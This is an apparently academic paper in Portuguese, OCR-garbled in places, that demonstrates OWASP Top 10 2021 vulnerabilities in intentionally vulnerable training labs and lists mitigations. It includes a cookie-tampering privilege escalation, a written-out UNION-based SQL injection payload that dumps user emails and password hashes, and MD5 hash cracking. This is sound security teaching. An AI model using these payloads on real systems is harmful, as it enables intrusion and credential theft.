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ANALISE PRATICA E ESTUDO DOS IMPACTOS PROVOCADOS PELAS
PRINCIPAIS VULNERABILIDADES DO OWASP TOP 10 2021
Gustavo de Mesquita Farias'
Cleber da Silva Araujo’

RESUMO

A internet proporcionou o surgimento de diversas aplicagdes para os mais diversificados fins,
englobando usuarios de todo o mundo. Porém, & medida que ocorre seu crescimento também
surgem novas vulnerabilidades, que comprometem a seguranga desses usudrios, que
espontaneamente fornecem dados pessoais confiando que o sistema os manterd seguros.
Contudo, a falta de conhecimento e preparo podera fazer com que esses dados sejam
recebidos, transferidos, acessados ou manipulados inseguramente, expondo as informagdes
sensiveis e prejudicando todos os envolvidos. Dessa forma, com intuito de alertar e instruir a
manter as aplicagdes seguras. A OWASP (Open Web Application Security Project),
instituicao internacional focada em seguranca web, faz, periodicamente, a publicacdo de listas
com as mais frequentes ¢ danosas vulnerabilidades que mais afetaram as aplicagdes web em
determinado intervalo de tempo. Assim, o objetivo deste trabalho ¢ analisar e demonstrar cada
uma das vulnerabilidades propostas pela OWASP na lista de 2021, fazendo o uso de
laboratorios para exemplificar os riscos das principais vulnerabilidades da atualidade.
Palavras-chave: OWASP; Seguranca de Aplicacdes; Seguranca Web; Vulnerabilidades.

ABSTRACT

The internet has provided the emergence of several applications for the most diverse
purposes, encompassing users from all over the world. However, as its growth occurs, new
vulnerabilities also appear, which compromise the security of these users, who spontaneously
provide personal data trusting that the system will keep them safe. However, the lack of
knowledge and preparation causes this data to be received, transferred, accessed or
manipulated insecurely, exposing sensitive information and harming everyone involved. In
this way, with the aim of alerting and instructing to keep applications safe, OWASP (Open
Web Application Security Project), an international institution focused on web security,
periodically publishes lists with the most frequent and harmful vulnerabilities that most
affected web applications in a certain time interval. Thus, the objective of this work is to
analyze and demonstrate each of the vulnerabilities proposed by OWASP in the 2021 list,
using laboratories to exemplify the risks and impacts of the main current vulnerabilities.
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O advento da internet proporcionou a entrada na era da informacdo, as relagcdes
comerciais foram completamente reestruturadas, estando em constante migragdo do fisico
para o digital. Contudo, novos desafios surgiram, as relacdes foram ressignificadas e novas
responsabilidades foram impostas a partir das inovagdes tecnologicas que emergiram no
mercado. Nessa nova era a necessidade de garantir a seguran¢a da informagao ndo se restringe
mais a apenas manté-la segura dentro de uma sala. E necessario assegurar que as informagdes
sejam armazenadas, transportadas, acessadas e modificadas sem que haja interferéncias.

As inovagdes tecnoldgicas caminham a passos largos, movimentando trilhdes de
dolares anualmente, tanto na manutencdo quanto no investimento em novas tecnologias.
Assim, as aplicagcdes web tornaram-se parte do cotidiano das bilhdes de pessoas que fazem
uso didrio da World Wide Web (WWW), e para acessar os recursos ofertados por elas os
usudrios fornecem espontaneamente seus dados pessoais. Baseado na confianga depositada
pelos seus usuarios, as aplicagdes devem proteger ao maximo os dados recebidos, para que
sejam acessados apenas por quem interessa, quando interessar ¢ de maneira confiavel,
mediante a correta identificacdo, a fim de que ndo seja comprometida a seguranca da
informacao.

Entretanto, em conjunto com os avangos, que chamam a aten¢do de novos usudarios e
investidores, despertasse o interesse dos invasores que buscam novas vulnerabilidades ou
novas formas de exploragdo das vulnerabilidades ja conhecidas, sendo um desafio constante
manter os sistemas web protegidos (Security Report, 2022).

A Seguranca da Informagdo ¢ formada por trés pilares principais: Confidencialidade,
integridade e disponibilidade. A auséncia de qualquer um destes quebra a confiabilidade entre
as partes envolvidas, e podem acarretar grandes prejuizos, por vezes irreparaveis. Esses
pilares sao quebrados quando, dentre outras formas, existem “brechas”, chamadas de
vulnerabilidades, que permitem que usudrios mal intencionados as explorem, com objetivo de
conseguir algum tipo beneficio ou simplesmente para causar transtorno as vitimas. (PRATT,
2022)

De acordo com o CERT.br (2022), no Brasil foram reportados 665.079 incidentes em
2020. Esse nimero alarmante relaciona-se majoritariamente a eventos que ocorreram nos
servidores das aplicagdes, estando associados a uma ma configuragdo ou desenvolvimento,
deixando em risco os dados que foram confiados pelos usuarios. Muitos transtornos ocorrem
por impericia dos profissionais que as empresas dedicam para cuidar da seguranca web de
suas aplicacdes, visando os baixos custos, geralmente ¢ destinado poucos recursos,
acarretando em falhas, invasdes, vazamentos, etc. onde os clientes sdo os mais prejudicados.

Garantir que os dados estejam seguros ndo ¢ apenas um diferencial competitivo e
comercial, ¢ uma obrigacdo, e estd sujeita a diversas legislagcdes que por vezes excedem as
fronteiras de um pais e possuem vigéncia internacional. Isso ocorre, pois, as violagdes nessa
area ultrapassam os limites fisicos, comumente atrelados aos outros tipos de crimes. Como € o
caso da Lei Geral de Prote¢ao de Dados (LGPD), onde a Autoridade Nacional de Protecao de
Dados (ANPD) tem participado de diversos foruns internacionais para garantir o
cumprimento e adequagdo aos padrdes aceitos usados em outros paises, principalmente aos
usados na Unido Européia, que possui uma legislagao maturada e atualizada (GOV.BR, 2022).

Nesse contexto, surgiu a OWASP (2021) - Open Web Application Security Project,
uma organizagdo internacional sem fins lucrativos, que visa alertar sobre os riscos das
vulnerabilidades de aplicacdes web. A OWASP periodicamente lanca uma lista com as dez
principais vulnerabilidades de aplicagdes web, essa lista ¢ feita através de um estudo
conduzido por vérios especialistas em AppSec, coletando dados de diversas empresas ao redor
do mundo, com intuito de quantificar e classificar as vulnerabilidades de acordo com
incidéncias e periculosidade.



A tltima lista, lancada em 2021, tornou-se mais concisa e objetiva em relacdo as
anteriores, onde foram agrupadas em categorias as vulnerabilidades que antes se encaixavam
como formas de ataque mais do que como conceitos de fraquezas. Dessa maneira, auxiliando
mais assertivamente, os desenvolvedores e profissionais de seguranca, a conduzirem medidas
mais efetivas na prote¢do das aplicacdes e dados dos usuérios.

1.1 OBIJETIVOS
Nesta secdo sdo explanados os objetivos, geral e especificos, deste trabalho.
1.1.1 Geral

Expor de forma pratica a lista OWASP Top 10 2021, Gltima e mais atualizada lista
langada, demonstrando as maneiras de exploracdo e mitigagdo da mesma, com intuito de
alertar sobre os riscos resultantes de vulnerabilidades que constantemente estdo sendo usadas
para acesso a dados e recursos indevidamente.

1.1.2 Especificos

e Propor laboratorios que elucidem as maneiras como as principais vulnerabilidades da
atualidade sdo exploradas;

e Propor a mitigacao para as vulnerabilidades expostas;

e C(Conscientizar sobre o desenvolvimento de aplicagdes seguras.

1.2 TRABALHOS RELACIONADOS
Nesta secdo, sdao apresentados os trabalhos com metodologias semelhantes a este.
1.2.1 UM ESTUDO APLICADO A SEGURANCA DE APLICACOES WEB

Ortega (2021) em seu trabalho, utilizou-se da lista OWASP TOP 10 2021 para explanar
cada uma das vulnerabilidades propostas, além de serem feitas sugestdes relativas aos
processos de mitigacdo e prevencao. Trabalho de carater mais expositivo, sendo elencadas na
descri¢ao de cada vulnerabilidade suas principais formas de exploragdo, de acordo com a
propria OWASP e as principais organizagdes de seguranca da informagao.

O trabalho mencionado utilizou-se da lista mais atualizada até entdo, e abordou
efetivamente todas as vulnerabilidades propostas nela, contudo ndo foram feitos laboratorios
ou testes para demonstra-las, focando-se em um maior levantamento bibliografico para
explanar as formas de exploracao e mitigagao.

1.2.2 GUIA DE TESTES DE SEGURANCA PARA APLICACOES WEB

Taha (2017) propos um guia de testes de seguranca para aplicagdes web, focando na
metodologia OWASP. Os testes ocorreram de forma pratica, objetivando a detecg¢dao e a
exploracdo de vulnerabilidades. Ele utilizou-se da lista OWASP Top Ten 2013, e abordou as
vulnerabilidades de inje¢do e quebra de autenticacao.

Esse trabalho teve uma metodologia voltada para as praticas de testes, etapa
fundamental para o desenvolvimento seguro de aplicacdes, contudo, foi utilizada uma lista
que atualmente encontra-se desatualizada além de ndo terem sido abordadas as dez
vulnerabilidades presentes nos rankings publicados periodicamente pela OWASP.



1.2.3 UMA ANALISE PRATICA DAS PRINCIPAIS VULNERABILIDADES EM
APLICACOES WEB BASEADO NO TOP 10 OWASP

Sampaio (2021) apresentou uma analise pratica das vulnerabilidades OWASP Top Ten
2017, através de demonstragdes com o uso de laboratdrios como PortSwigger entre outras
ferramentas para mostrar de forma controlada a exploracdo das vulnerabilidades da lista de
2017. Também foram sugeridas medidas de mitiga¢do de acordo com os padroes OWASP e de
instituicdes de relevancia no cenario.

O trabalho supracitado foi o mais similar a este trabalho pois possui abordagens de
vulnerabilidades semelhantes ao que propomos, contudo, desde 2017 houveram diversas
mudangas no ranking das mais comuns e danosas vulnerabilidades.

1.2.4 Comparativo

Na tabela 1 foi feito o comparativo entre os trabalhos abordados nesta sessdo, de
acordo com os critérios de metodologia, ano, laboratorios e integralidade da lista.

Tabela 1 — Comparativo dos trabalhos relacionados.

Autor Metodologia OWASP? | Ano dalista | Laboratérios | Abordou todas as
vulnerabilidades
Ortega (2021) SIM 2021 NAO SIM
Taha (2017) SIM 2013 SIM NAO
SAMPAIO SIM 2017 SIM SIM
(2021)
Este trabalho SIM 2021 SIM SIM

Fonte: Autor.
1.3 REFERENCIAL TEORICO

Este trabalho fundamentou-se na manutengdo dos pilares basicos da seguranca da
informacao, que sdo: confidencialidade, integridade e disponibilidade, conhecida como triade
CID, além dos pilares posteriormente levantados pelos profissionais de seguranca da
informacgao: Autenticidade, Irretratabilidade ¢ Conformidade.

De acordo com Fontes (2006): “Seguranca da informagao ¢ o conjunto de orientagdes,
normas, procedimentos, politicas e demais agdes que tem por objetivo proteger o recurso
informagao, possibilitando que o negécio da organizag¢do seja realizado e a sua missao seja
alcancada.” De acordo com o autor, a informacao ¢ base para qualquer organizacao e deve
receber tanta protecdo quanto qualquer outro recurso material ou imaterial, mediante politicas
e regras que regem sua existéncia, manipulacdo e acesso.

Netto et al. (2007) define o pilar da integridade como: “A integridade da informagao
tem como objetivo garantir a exatiddo da informagdo, assegurando que pessoas nao
autorizadas possam modificé-la, adiciona-la ou remové-la, seja de forma intencional ou
acidental”



Dessa forma os autores referem-se a este pilar como a garantia que as informagdes
permane¢am inalteradas durante qualquer processo de armazenamento, transporte ou
processamento delas, até que haja o consentimento do titular dos direitos dos dados
fornecidos para que quaisquer modificagdes sejam efetivadas.

Concomitantemente, Netto et al. (2007) complementa: “A disponibilidade garante que
os autorizados a acessarem a informacao possam fazé-lo sempre que necessario”. De acordo
com os autores, este segundo pilar refere-se ao direito que os usudrios tém de terem a
disposi¢do, a qualquer momento, todas as informagdes que foram disponibilizadas por eles,
ndo sendo aceitavel a restricdo, por qualquer motivo ndo legal, a esses dados, devendo serem
oferecidos os devidos recursos de software e hardware para o devido acesso.

Netto et al. (2007) refere-se ao terceiro pilar como: “A confidencialidade da
informacao ¢ a garantia de que somente pessoas autorizadas terdo acesso a ela, protegendo-a
de acordo com o grau de sigilo do seu conteudo". E dever das organizacdes ou qualquer
entidade garantir a protecao dos dados fornecidos espontaneamente pelos usudrios, para isso
elas devem usar recursos como criptografias, firewalls e quaisquer outros meios que efetivem
sua confidencialidade. Sendo esta uma das restricdes ao pilar da disponibilidade, que somente
sera efetivado mediante a correta identificacdo, fornecendo as credenciais necessarias para
obter acesso aos dados requeridos.

Complementarmente aos pilares iniciais, Sémola (2003) sugere o pilar da
autenticidade, cujo o objetivo ¢ a assegurar que um usudrio somente acesse, receba ou
transmita quaisquer informag¢des mediante correta autentica¢do e autorizag¢do, com intuito de
garantir que nesse processo, os remetentes sejam exatamente quem eles informam ser.

Para Fontes (2006) o pilar da Irretratabilidade, ou ndo repudio, ratifica que o usuario
que acesse ou modifique qualquer informag¢ao ndo possa negar a autoria de seus atos, pois
devem haver mecanismos que, detalhadamente, registrem suas agdes, coletando datas,
histdrico e arquivos que foram vistos e/ou alterados, além de logs de autenticacao.

Para Beal (2008) o pilar da legalidade tem por finalidade assegurar que o uso das
informacodes estardo de acordo com as legislacdes vigentes nacional e internacionalmente,
respeitando as normas e valores presentes nos contextos aos quais as aplicagdes se inserem,
além de se fazer cumprir as licengas e contratos referentes a ela.

1.4  JUSTIFICATIVA

A seguranga ¢ um fator essencial para a maioria das aplicacdes, afetando diretamente a
credibilidade e confiabilidade das empresas e institui¢des que se propdem a receber dados de
usudarios. Contudo, ela ainda ¢ uma etapa desprezada e subjugada por muitas delas, que nao
dao a devida atencdo e investimentos necessarios. Dessa forma, este trabalho justifica-se pela
necessidade de alertar sobre os riscos das principais vulnerabilidades associadas as aplicagdes
web da atualidade.

2 DESENVOLVIMENTO
Nesta sec¢ao sdo apresentadas as etapas de desenvolvimento deste trabalho.
21  METODOLOGIA

Para este trabalho, sera analisada individualmente cada uma das dez vulnerabilidades
expostas pela OWASP (2021) na lista Top Ten 2021, na ordem proposta por ela. Essa analise



sera dividida em trés etapas, que sdo: Descricdo, Demonstragao e Mitigagdo, aplicadas a cada
uma das vulnerabilidades.

Na etapa metodologica de Descri¢ao serd feito um detalhamento das caracteristicas de
exploragdo e impactos, de acordo com instituicdes e organizacdes € instituigdes especialistas
em web security.

Para demonstragdo, sera usado laboratorios (ambientes que simulam cenarios reais de
aplicacdes web, propositalmente inseguros, para fins de treinamentos), com auxilio de
algumas ferramentas.

A mitigacdo sera feita a partir de sugestdes de controle e prevengdo contra as
vulnerabilidades da lista. Essas medidas sugeridas foram propostas pela propria OWASP
(2021) e outras instituicdes e organizagdes consolidadas no cendrio de seguranca da
informacao.

2.1.1 Laboratodrios e ferramenta utilizados

Neste subtopico sao apresentados os laboratérios usados para a replicacdo das
vulnerabilidades.

e PortSwigger: Um laboratorio online, disponivel em www.portswigger.com. Nele €
possivel de entender e explorar varias vulnerabilidades sem infringir nenhuma lei, pois
trata-se de um centro de treinamento gratuito para testar conhecimentos em seguranca
de aplicacdes web (PORTSWIGGER, 2022).

e Mutillidae II: Um conjunto de laboratérios OpenSource desenvolvido pela propria
OWASP, ele ¢ intencionalmente vulneravel para fins de treinamento, e contém as
principais vulnerabilidades ja reportadas pela OWASP em diversos laboratorios, sendo
possivel alterar o nivel de dificuldade para o mesmo desafio. Ele esta disponivel no
GitHub e pode ser usado em localhost (DRUIN, 2021).

e DVWA: Assim como Mutillidae, também ¢ um laboratério localhost, disponivel no
GitHub para treinamento, possuindo varios testes, com foco nas falhas de injecao
(TYAGI, 2018).

e Juice Shop: Uma aplicacdo moderna, gratuita e OpenSource, feita em Node.js, Express
e Angular. Para este trabalho ele foi utilizado em Localhost. Ele é uma aplicacdo que
simula um site de vendas de sucos, ¢ propositalmente inseguro e contém diversos
desafios que incluem as vulnerabilidades expostas pela OWASP, além de outras
dezenas que também sdo encontradas em aplicacdes web. Contém varios niveis de
desafios, classificados em estrelas, que vao uma estrela, para os desafios mais faceis, e
seis estrelas, para os desafios mais dificeis (KIMMINICH, 2020).

e Attack-Defense: Laboratorios online da Pentester Academy, voltados para o
treinamento de seguranca ofensiva, abordando vulnerabilidades classicas e também
modernas (ATTACK-DEFENSE, 2019).

e Burp Suite: O Burp ¢ um conjunto de ferramentas para testes de intrusdo e/ou
exploragdo de vulnerabilidades de aplicagdes. Para este trabalho usou-se
principalmente na func¢ao de Proxy (PORTSWIGGER, 2022).

3 RESULTADOS

Nesta se¢do sdo apresentados os resultados da aplicacdo dos processos metodoldgicos
supracitados.

3.1 A01: 2021 — QUEBRA DE CONTROLE DE ACESSO


http://www.portswigger.com

Primeira vulnerabilidade do OWASP TOP 10 2021.
3.1.1 Descricao

As Aplicacdes Web geralmente possuem niveis de usuarios, que podem ser: comuns,
moderadores, administradores, etc. Na maioria das vezes essa identificacdo ¢ realizada através
de um formuldrio comum de login e senha. Apds inserir e confirmar os dados ele ¢
autenticado em uma base de dados, podendo ser identificado de algumas maneiras como, por
exemplo, através de um /D tnico ou Cookies de sessao.

Contudo, se esses dados ndo forem bem protegidos € possivel que sejam burladas as
verificagdes de seguranca, com isso, um usudrio mal intencionado poderd obter acesso a
recursos que vao além das suas permissdes pretendidas inicialmente, ocorrendo assim uma
violagdo de privilégios.

Segundo a OWASP (2021) as vulnerabilidades mais comuns relacionadas a quebra de
controle de acesso sao:

e Burlar verificagdes de controle de acesso alterando a URL: Ocorre quando o usuario
tem acesso a uma drea e/ou fungdes restritas ignorando as verificagdes apenas
modificando o enderego, isso ocorre quando as paginas ndo fazem verificacdes de
autenticidade, e basta que o usudrio saiba o endereco que pretende atacar para poder
acessa-lo.

e Permitir que um usudrio ndo autorizado tenha acesso a informagdes e fungdes restritas
de outros usuarios apenas fornecendo o identificador tnico do alvo;

e Permitir que um usudrio ndo autorizado acesse APIs desprotegidas que permitem
acesso a métodos POST, PUT e DELETE.

e [Escalonamento de privilégios: quando o sistema permite que um usuario se passe por
outro usuario, administrador ou comum, modificando Token, requisicdes ou outros
mecanismos de controle de acesso. Da perspectiva do usudrio, o escalonamento de
privilégios pode ocorrer de duas formas:

o Horizontal: Quando o usudrio tem acesso a fungdes de outros usudrios que
estdo no seu mesmo nivel hierarquico, ou seja, podem gerenciar a conta de
outras pessoas.

o Vertical: Ocorre quando o usudrio tem acesso a fun¢des de usuarios com nivel
hierarquico superior ao que ele possui, podem chegar, por exemplo, ter acesso
a fungdes administrativas.

e Adulteracdo de metadados: quando a manipulacdo dos metadados, como um cookie de
sessdo capturado de um outro usuario, permite a elevacao de privilégios.

e Uma ma configuracdo do Cross-Origin Resource Sharing (CORS) no back-end que
permite requisi¢cdes externas sem um tratamento ou verificagado.

o Fetch API se a URL pertencer a mesma origem, mas se, por exemplo no servidor
estiver configurado para access-control-allow-origin:* torna-se uma brecha para
ataques com APIs externas.

3.1.2 Demonstracio:

Nesse exemplo usou-se um laboratorio da PORTSWIGGER (2022), nele tenta-se
acessar a area administrativa de uma pagina que simula um blog. Essa pagina ¢ protegida por
uma etapa de login e senha, e mesmo tentando acessar um diretorio previsivel, colocando
/admin ao final da URL, ainda assim sera retornado um erro. Utilizando a ferramenta Burp ¢
possivel interceptar uma tentativa de /ogin de um usudrio comum, sem altos privilégios, e que



¢ possivel criar uma conta facilmente. Como resultado dessa interceptacdo tem-se o seguinte
resultado apresentado na Figura 1.

Host:

Figura 1 — Interceptando a tentativa de /ogin com o Burp

Raw Hex

DPOST flogin HTTPA1l.1
0a7900el0306442500ek4£5d00e 50053 . wekh-security—acadeny. net
Cookie: session=mDomBlSac¥YEmhPDTHCah AA=opODivlT; Admin=false

4 User—Agent: Mozillas5.0 (Windows NT 10.0; Wing4; x&4; rv:104.0) Gecko/20100101 Firefox/104.0
S Accept: text/htnl,application/zhtmltxnl,application/xnl;q=0.9,inage/avif, image/webp,*/*;q=0.8
¢ Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

¢ Content-Type: application/z-www-form-urlencoded

S Content-Length: &8
10 Origin: https://0a750021l032064425c0eb4£5d00e50053 . web-security-acadeny . net
11l BReferer: https://0a7500el030644Z25c0ek4£5d0050052 web-security-academy.net/login
12 Upgrade-Insecure-Recuests: 1
12 Sec-Fetch-Dest: doocument

1 Bec-Fetch-lMode: navigate
15 Sec-Feteh-Site: same-origin

¢ Sec-Fetch-User: 21

trailers

L2 Comnection: close

17 Te:

20 csrf=LhEVTzeV4xeVrlNFFITdhActnlITuTaudusernane=vienerdpassword=peter

Fonte: Autor.

313

Alterando o pardmetro ‘Admin=false’ para ‘Admin=true’ sera possivel acessar o
painel do administrador e executar agdes com alto nivel de privilégio mesmo sem ter obtido
acesso as credenciais do administrador. Nesse painel ¢ possivel excluir os usudrios
cadastrados no sistema.

Mitigacio

A OWASP CHEAT SHEET SERIES (2021) recomenda:
Aplicagao do minimo de privilégios possiveis

o Estabelecer durante a etapa de design os limites de confianga;

o Defini¢ao de testes de revisao que verifiquem o se os privilégios definidos na
fase de design estejam em conformidade com o planejado na etapa de design;

o Revisdes periddicas para garantir que ndo haja o “deslocamento de
privilégios”;

Deny by Default

o Estabelecer como padrdo a negacdo de acesso a recursos que ndo tenha sido
expressamente permitido, principalmente recursos com alto grau de
complexidade de requisitos de acesso, salvo recursos publicos;

o Estabelecer a configuragdo manual dos frameworks, por mais que alguns ja

venham pré-definidos para atender este requisito, ¢ preferivel que seja
explicitamente configurado pelo time de desenvolvimento essa caracteristica.

Verificagdes a cada requisicao:

O

@)

Um invasor precisa apenas de uma Unica oportunidade para comprometer um
sistema, validar somente a maioria das requisi¢des torna a aplicagcdo insegura,
comprometendo a integridade e confidencialidade dos dados. Entdo, torna-se
necessario  avaliar as requisigdes sob todas as circunstancias,
independentemente da sua origem, seja ela server-side ou cliente-side.

Revisao das ferramentas incorporadas a aplicacao:

= Por vezes sao inseridos bibliotecas e frameworks de terceiros sem a

devida revisao, tornando assim a aplicagdo suscetivel a ataques, pois 0s
desenvolvedores desconsideram fatores importantes de seguranga



associados a aplicagdo ao anexar essas novas estruturas ao sem o
devido cuidado. Pois mesmo que haja cuidado com a seguranca interna
a nivel de codigo e configuracdes de ambiente, ignorar as fontes de
origem externa pode ser uma brecha a ser explorada durante uma
invasdo, agravada se as informagdes desse componente estiverem
publicas;

e Usar mecanismos ABAC ao invés de RBAC:

o Os mecanismos ABAC possuem maior facilidade para gestdo em longo prazo;

o Maior desempenho: Em RBAC ¢ comum que ocorram “Explosdes de fungdes”
de acordo com o aumento de complexidade da aplicagdo, e com o uso de
solicitagdes via cabecalhos HTTP com tamanho limitado ndo terd espaco para
que sejam enviados todos os pardmetros em uma Unica requisicao;

o Concisdao: Em mecanismos RBAC o controle hierdrquico ¢ mais complexo e
menos eficiente, pois ¢ mais facil que ocorram erros e privilégios sejam
negados ou concedidos erroneamente;

e Garantir a inacessibilidade dos /Ds, mesmo que sejam previsiveis ou protegidos;

o Tentar garantir, sempre que possivel, que identificadores de usudrios sejam
ocultos, sendo preferivel que haja a identificagdo através de, por exemplo,
informagdes contidas em JSON Web Token;

o Verificagdes de controle de acesso em cada requisicdo de funcionalidades
especificas, a fim de evitar o escalonamento horizontal de privilégios, pois nao
¢ porque um usudrio pode ter acesso a determinado recurso que ele deva ter
acesso a todos os recursos do mesmo tipo;

e Proteger recursos estaticos:

o Dependendo do contexto, ndo somente as informagdes do banco de dados sdo
os ativos do sistema, recursos estaticos podem tornar-se alvo de ataques, como
relatorios em PDF, entre outros. Entdo, torna-se necessario garantir a prote¢ao
desses recursos, garantindo seu acesso mediante uma correta autenticagao.

e Naio confiar nas verificagdes client-side:

o Devem ser evitadas as medidas de seguranca client-side como fator decisivo
para ceder ou negar acesso aos recursos, pois geralmente sdo faceis de serem
contornadas, deve-se usar medidas server-side.

e Tratamento adequado das excecdes de controle de acesso:

o E comum que haja erros de controle de acesso em aplicagdes web, entdo é
necessario que as excegdes sejam tratadas, independentemente da
probabilidade de ocorréncia, para evitar que ocorram desvios de autoriza¢ao ou
que informagdes sensiveis sejam expostas.

e Logs detalhados:

o Como exposto na secdo de monitoramento insuficiente, os logs sdo
importantes ferramentas, ndo somente para registro, mas também preparagao
de medidas de contencdo de ataques.

e Testes:

o Execucdo de testes minuciosos, pois as falhas de controle de acesso podem ser
sutis, mas com graves consequéncias. Os testes de unidade e integracdo podem
ajudar a reduzir as chances de ocorréncias. Apesar de ndo serem tao eficientes
quanto os testes de penetragdo, estes testes ajudam a evitar que os casos
considerados como mais “faceis” sejam explorados.

A02: 2021 — FALHAS CRIPTOGRAFICAS



Segunda vulnerabilidade do OWASP TOP 10 2021.
3.2.1 Descricao

A criptografia dos dados de uma Aplicagdo Web ¢ uma das tltimas barreiras que um
atacante se depara ao invadi-la. Mesmo que seja grave que alguém ndo autorizado tenha
acesso a um banco de dados esse fato ¢ “atenuado” se ndo for vidvel explorar os dados
obtidos. Contudo, contornando essa medida de seguranga esse usudrio mal intencionado
conseguira efetivar seu ataque e as consequéncias disso serdo extremamente danosas.

Vazamentos de dados sensiveis ocorrem com muita frequéncia. E isso se d4 por uma
sucessdo de erros, que podem estar relacionados ao armazenamento, transporte, acesso,
manuten¢do dessas informagdes, mas sdo culminadas quando o algoritmo de criptografia
possui brechas, que muitas vezes sdo conhecidas e relativamente faceis de serem exploradas
como ¢ o caso do algoritmo de hash MDJ5 que € suscetivel a ataques de colisdo (CERT.br et
al. 2021).

A OWASP (2021) elenca algumas praticas que comprometem a seguranga dos dados
transportados e/ou armazenados inseguramente:

e Transportar informagdes confidenciais, como senhas ou informagdes bancarias, em
texto simples através de protocolos inseguros, como HTTP ou FTP;
e Utilizar métodos criptograficos defasados em trechos antigos ou legados da aplicacao;
e Utilizagdo de chaves de criptografia e descriptografia padrao ou ndo trocar de chaves
com a frequéncia adequada;
e Auséncia de cabegalhos de seguranga adequados para as requisicdes que serdo feitas
nos navegadores;
Nao verificar o certificado recebido ¢ a cadeia de confianca de certificados;
Utilizacdo da propria senha como chave criptografica;
Baixa aleatoriedade criptogréafica;
Utilizagdo de hashes ultrapassadas, como MD5 ou SHA I,
Uso de algoritmos de preenchimento criptograficos inseguros, ou a auséncia desta
medida de seguranca;
e As mensagens de erro, apds um ataque de descriptografia, revelem informagdes
sensiveis, como o ataque por preenchimento Oracle.

3.2.2 Demonstrac¢io

Para a demonstragdo dessa vulnerabilidade foi utilizado o laboratério Juice Shop, mas
para chegar ao resultado esperado foram utilizados alguns métodos de quebra de autenticagao
e injecao.

Na tela inicial deste laboratorio existe um campo de busca, que faz consultas no banco
de dados referentes aos produtos cadastrados no sistema, mas ¢ um sistema falho e hé brechas
para que outras tabelas e colunas sejam acessadas além das de produtos.

Neste laboratorio, € possivel acessar a pagina de busca de produtos em
http://127.10.0.1/#/search?. Abrindo as ferramentas de desenvolvedor do navegador na
funcdo de Rede, como mostrado na Figura 2, ¢ possivel verificar que a requisi¢cdo acontece
realmente em 7/27.10.0.1/rest/product/search?q= que possui vulnerabilidades que podem ser
exploradas através do Burp Suite para que seja feito SOL Injection.

Figura 2 — Ferramenta de rede do navegador


http://127.10.0.1/#/search
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304 GET 127.1... application-configuration polyfillsj... json emcache 1. Host: 127.10.0.1
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Enderego: 127.10.0.1:80

P... B 127.1... [socket.io/?EI0=4&transport=pc polyfillsj... ht.. 1498 2B
GET @ 127.1... /socket.iof?ElO=4&transport=pc polyfillsj... pl.. 196B 328 304 Not Modified (D
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Fonte: Autor.

Abrindo o diretério completo e pesquisando diretamente na URL tem-se 0 um arquivo
JSON que mostra informagdes a respeito da busca executada. Analisando no Burp € possivel
perceber que existe uma requisi¢do do tipo GET que pode ser vulneravel a um ataque de
inje¢do (Vulnerabilidade que serd demonstrada na se¢do 2.4).

Ao modificar a requisicao interceptada adicionando: ‘))UNION SELECT username,
email, password,4,5,6,7,8,9 FROM Users-- (na forma de URL -codificada:
))UNION%20SELECT%20username %2 C%20email%2C%20password%2C4%2C5%2C6%2
C7%2C8%2C9%20FROM%20Users-- ) obtém-se o resultado mostrado na figura 3.

Figura 3 — Resultado da requisicdo manipulada

JSON  Dadosbrutes  Cabegalhos

Salvar Copiar Recolhertudo Expandirtudo |  F 50N

status: "success"
v data

ve
id
name "112934@juice-sh.op”
description:  "3c2abcBdedabeaBf1327d0aae3T14b7d
price 4
deluxePrice: 5
image 6
createdAt
updatedAt 8
deletedAt 9

v1
id
name “accountant@juice-sh.op’
description:  "963e10f92a70b4ba63220cb4c5d636dC
price a
deluxePrice: 5
image 6
createdAt
updatedAt: 8
deletedAt 9
id
name "admin@juice-sh.op”
description:  "0192023a7bbd73250516f069d 180500
price a
deluxePrice: 5

Fonte: Autor.

E obtido um JSON com ID e senha de todos os usuérios cadastrados no sistema.
Contudo, a senha esta criptografada, mas € possivel perceber que pode tratar-se de uma hash
MD35, devido seu formato e popularidade. Entdo extraindo todas as senhas para um unico
arquivo de texto simples ¢ possivel descriptografar algumas senhas, pois existem servigos
online que executam algoritmos de colisdo para MDJ5, SHA-1 e entre varios outros tipos de
hashes, além de possuirem wordlists de hashes de senhas comuns, que foram vazadas, ja no
formato pretendido, diminuindo assim consideravelmente o tempo e a necessidade de recursos
para a descriptografia. Através do site https.//crackstation.net foi possivel descobrir a senha



de 3 usuarios desse sistema de um total de 20 pessoas cadastradas, como mostrado na Figura

4.

Figura 4 — Descriptografia das senhas encontradas

HASH TYPE RESULT
3c2abc0dedabealdi1327d0aae3714b7d Unknown Not found.
963e10f32a70b4ab463220chAc5d636de Unknown Not found.
0192023a7bbd73250516f069df18b500 md5 admin123
020f05e45e320710c3ad3c32f00de0d73 Unknown Not found.

0c36e517e3fad5aabf1bbffce7a4adef Unknown Not found.
7311911af16fa8f418dd1a3051d6810 Unknown Not found.
9283f1b2e9669749081963be0162e466 Unknown Not found.
10a783b%ed19ealct7c3a27699f0095h Unknown Not found.
861917d5fa5f1172f931dc700d81a8fb Unknown Not found.
fed1ce2affbac8fafaed7c082a04e229 md5 demo
ebdcaecf72b8d1286474fc613e5245 md5 ncc-1701
b03fab0bagb458fa0acdc02cdb953bcl Unknown Not found.
f2f933d0bb0ba057bc8e33b2ebd6ddesd Unknown Not found.
3269433d74e3d0cB6fd255621836bc82 Unknown Not found.
05f921438b4be0f7dacd04cceebbsflaf Unknown Not found.
402f1c4a75e316afechabeab3 1471739 Unknown Not found.
20048a3f43dd5e094ef733f3bd83eabd Unknown Not found.
feddod726chbdc873c539e41ae8757b8¢c Unknown Not found.
00479957 b6bd2cd5%ee5746478e4d45 Unknown Not found.
9ad5b0492bbe528583e128d2a8941ded Unknown Not found.

Fonte: Autor.

3.2.3 Mitigaciao

33

OWASP (2021) recomenda:

Fazer a correta identificagdo e classificagdo dos dados transitados na aplicagdo,
definindo o nivel confidencialidade de acordo com as necessidades legais e de
negocio;

Dados nao confidveis ndo devem ser armazenados desnecessariamente, principalmente
em cache;

Certificar-se que os dados, mesmo quando ndo estdo em uso, estejam seguramente
criptografados e armazenados;

Uso de algoritmos, protocolos e chaves atualizados e estabelecidos: ao invés de recriar
ou desenvolver estes mecanismos por conta propria, ¢ recomendavel utilizar solugdes
ja firmadas e confiaveis, como Advanced Encryption Standard (AES), Triple Data
Encryption Algorithm (TDEA) entre outras.

Rotatividade das chaves criptograficas: Essas chaves sdo um dos ativos vistos pelos
